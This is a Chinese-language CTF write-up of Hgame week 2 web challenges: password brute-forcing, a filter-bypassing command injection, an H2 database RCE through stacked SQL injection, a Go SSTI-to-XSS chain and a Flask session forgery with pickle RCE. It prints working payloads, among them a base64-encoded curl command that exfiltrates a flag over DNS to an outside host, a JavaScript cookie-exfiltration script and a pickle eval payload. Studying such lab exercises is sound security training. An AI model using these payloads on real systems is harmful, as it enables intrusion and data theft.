Hgame題解(第二星期)
Web
Select More Courses
打開靶機發現是一個登陸頁面,根據題目提示下載弱密碼字典,通過BP爆破獲得用戶密碼為qwert123
登陸后進入下一個頁面,由于學分已滿無法選課,所以需要先進行選課擴學分申請,進入該頁面提示Race against time!
,需要爆破申請,與 Week 1 類似可以寫python腳本進行申請,也可以使用BP的Intruder進行申請,這里采用BP
在經過大量申請之后網站并不會返回其他值,但是再回到選課頁面時會發現學分上限提高了,也就可以自主選課了,選課很簡單,選完之后就可以拿到flag
What the cow say?
這題考察的命令注入,過濾了直接的命令但是沒有過濾反引號,反引號會將其包裹的內容作為命令執?后傳回給bash
嘗試ls /
(左右兩邊要加反引號),發現能夠打印根目錄,并且看到了提示:flag_is_here
通過ls /fla""g_is_here
(雙引號繞過flag檢測),發現下面存在文件:flag_c0w54y
使用ca""t /fla""g_is_here/fla""g_c0w54y
即可打印出文件內容,拿到flag(通過string app.py
還可以拿到網頁的pyton源碼)
search4member
題目考點:堆疊注入+ H2 database RCE漏洞
打開靶機網站發現是一個查詢頁面
下載附件,解壓后在文件夾中發現Java代碼(連接SQL)和數據庫代碼
使用?keyword=zzz%25' and 1>2 union SELECT 1,2,database();--+
發現數據庫名為H2(提示使用的是H2 database),該數據庫有個RCE漏洞,原理是可以創建一個數據庫函數 SHELLEXEC ,通過該函數可以執行命令
創建SHELLEXEC的payload:
?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+
帶出flag的payload:
?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+
其中Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=解碼后的意思是curl cat /flag
.28zrgzsc.requestrepo.com,即拼湊域名后通過DNS帶出數據,然后在DNS解析中找到對應部分的值
梅開二度
題目考點:Go語言的SSTI,利用XSS
分析附件源碼發現程序使用的是text/template,而Go語言提供了兩個模板包。一個是 text/template,另一個是html/template。text/template不對傳入數據進行編碼,因此該模板并不適合構建 Web 應用程序,而html/template與text/template雖然相同,但增加了HTML編碼等安全保護,適用于構建web應用程序
根據提供的源代碼var re = regexp.MustCompile(
script|file|on)
,發現會過濾script、file、on
根據if len(tmplStr) > 50
,說明限制payload長度小于50
根據tmplStr = html.EscapeString(tmplStr)
,會轉義HTML字符串(也說明了可以通過tmplStr進行注入)
第一步:通過payload ?tmpl={{println 0B101101011011011110001010110}}
測試是否存在SSTI,返回95272022,說明存在SSTI
第二步:通過?tmpl={{.Query
Jay17}}&Jay17=<script>alert('XSS')</script>
發現可以XSS
第三步:繼續分析源代碼,發現/bot
路由用于獲取url參數(前提要求url的值是本地8080端口,此處的url是參數名而不是實際的鏈接),/flag
路由將cookie設置為flag,前提是來源為本地
思路:首先訪問/bot
目錄,該目錄提取url的值并判斷是否為本地訪問
(?url=http://127.0.0.1:8080)
然后在/bot
這個路由下訪問/flag
,相當于利用/bot
路由跳轉了一次來滿足/flag
要求的本地訪問(通過tmpl的JS代碼實現訪問),然后帶出flag
初始payload模板:
/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>(這里的部分是用于實現訪問的js代碼,訪問/flag并帶出cokkie值中的flag)`</script>
由于無法使用vps反向監聽,但是可以利用DNS解析地址獲得該值,原理是:
如果攻擊者想要泄露信息 “secret”,可能會生成一個如下的DNS查詢:
secret.evil.com
在這里,evil.com 是攻擊者控制的域名。當這個查詢被發送時,DNS解析請求會傳遞給攻擊者的DNS服務器。然后,攻擊者可以從DNS查詢中提取出 “secret” 數據。
完整payload(JS部分):
async function fetchData() {let x; // 用于存儲從網址B獲取的響應數據try {// 首先訪問網址Aconst responseA = await fetch('http://127.0.0.1:8080/flag');const dataA = await responseA.text();console.log('網址A訪問成功', dataA); // 顯示網址A的響應數據,如果需要// 然后訪問網址B,并將響應數據賦值給變量Xconst responseB = await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');x = await responseB.text();console.log('網址B訪問成功,數據已賦值給變量X');} catch (error) {console.error('訪問網址時發生錯誤:', error);return; // 出錯時提前退出函數}// DNS帶出try {const url = "http://jay17" + x.substring(6, 46) + ".kgb7xfn7.requestrepo.com/";window.open(url);console.log('已嘗試進行DNS帶出:', url);} catch (error) {console.error('DNS帶出過程中發生錯誤:', error);}
}// 調用函數
fetchData();
注意點:/bot路由和執行JS代碼的兩次解碼,無法使用document.cookie帶出cookie(因為cookie被標記為了HttpOnly,不能通過JS代碼訪問,只能通過http訪問),由于flag里面有其他符號,導致了DNS無法帶出數據(因此使用字符串截取.substring()方法,截取flag中花括號內的純字符)
myflask
題目考點:破解并仿造session + 利用pickle模塊實現RCE
打開靶機網頁,發現給出了源代碼,其中比較關鍵的是網站session密鑰是基于網站開啟時間生成的,也就是我們如果知道了網站的啟動那一時刻,就能夠獲得密鑰并生成自己的session,然后需要讓session的username的值為admin,如此就能通過pickle反序列化執行我們的攻擊命令
第一步:獲取網站啟動時間,由于這是個比賽題目,所以靶機啟動時間很容易就能夠得到(打開靶機那個時刻),使用以下Python腳本即可獲取詳細啟動時間
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time# 定義字典文件路徑
wordlist_path = "wordlist.txt"# 生成包含所有可能四位數字組合的字典,每個數字前加上前綴"17"//17為具體小時,根據自己的修改
print("Generating wordlist...")
with open(wordlist_path, "w") as f:# 生成并寫入數字組合for x in itertools.product('0123456789', repeat=4):f.write('17' + "".join(x) + "\n")# 示例:直接使用硬編碼的cookie,實際應用中可能從響應中獲取
cookie_tamper = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeBLxA.lexH-lsz7VWzLJ_nNwUcGytUsf0'//替換成自己的session
print("Got cookie: " + cookie_tamper)# 開始破解過程
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)# 記錄破解開始時間
before = time.time()# 使用生成的字典文件嘗試破解SECRET_KEY
with wordlist(wordlist_path, parse_lines=False) as iterator:obj.crack(iterator)# 如果找到了SECRET_KEY,顯示結果和用時
if obj.secret:secret = obj.secret.decode()print(f"Found SECRET_KEY {secret} in {time.time()-before} seconds")# 使用找到的SECRET_KEY簽名一個新的session數據new_session_data = {"time": time.time(), "authorized": True}signed_cookie = flask_unsign.sign(new_session_data, secret=secret)print(f"Signed Cookie: {signed_cookie}")
六位數字xxxxxx代表:
xx(小時)xx(分鐘)xx(秒)
第二步:獲取session結構,使用以下Python腳本,輸入靶機返回的session獲得結構,即{'username': 'guest'}
,只要我們知道了結構和密鑰,我們就能夠仿造出admin的session
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = True# 檢查并添加必要的paddingpadding = '=' * ((4 - len(payload) % 4) % 4)payload += padding.encode()try:payload = b64decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of an exception: ' + str(e))if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before decoding: ' + str(e))return session_json_serializer.loads(payload)if __name__ == '__main__':encoded_session = "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeA6aA.wuZ6XevzyQ6X7oDKzdnrRidAToU".encode()print(decryption(encoded_session))
第三步:根據前面得到的{‘username’: ‘guest’}和密鑰171728生成新的session,腳本代碼:
from itsdangerous import URLSafeTimedSerializer
# 你的密鑰和數據
secret_key = '171728'
data = {'username': 'guest'}# 創建一個序列化器實例
serializer = URLSafeTimedSerializer(secret_key)# 序列化數據
serialized_data = serializer.dumps(data)print(f"Serialized session data: {serialized_data}")
使用以下Python生成反序列化代碼,注意pickle版本一致
import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('os').popen('tac /flag').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
然后利用post方法提交該生成代碼(注意偽造session):pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu
即可得到flag